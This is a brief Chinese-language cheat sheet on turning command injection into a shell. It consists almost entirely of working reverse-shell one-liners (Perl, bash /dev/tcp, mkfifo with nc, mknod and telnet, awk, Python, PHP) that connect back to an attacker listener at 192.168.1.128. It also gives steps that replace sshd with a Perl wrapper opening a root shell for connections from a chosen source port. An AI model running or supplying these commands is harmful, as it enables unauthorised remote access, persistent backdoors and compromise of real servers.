from command injection to shell

perl的socket模块

C:\>nc -lvp 53
# perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

/dev/tcp特殊设备文件

C:\>nc -lvp 80
# /bin/bash -i >& /dev/tcp/192.168.1.128/80 0>&1

利用sshd

# cd /usr/sbin/
# mv sshd ../bin/
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
# chmod u+x sshd
# /etc/init.d/sshd restart
# socat STDIO TCP4:192.168.1.129:22,sourceport=13377

mkfifo

C:\>nc -lvp 8080
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 8080 >/tmp/f

nc可以换成telnet

mknod

C:\>nc -lvp 8080
# mknod test p && telnet 192.168.1.128  8080 0<test | /bin/bash 1>test

awk

# awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet

第一种
C:\>nc -vlp 1080   命令结果显示窗口
C:\>nc -lvp 8080   命令传输窗口
# telnet 192.168.1.128 8080 | /bin/bash | telnet 192.168.1.128 1080

python

C:\>nc -lvp 8080
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.128",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

php

C:\>nc -lvp 8080
# /usr/local/php/bin/php -r '$sock=fsockopen("192.168.1.128",8080);exec("/bin/bash -i <&3 >&3 2>&3");'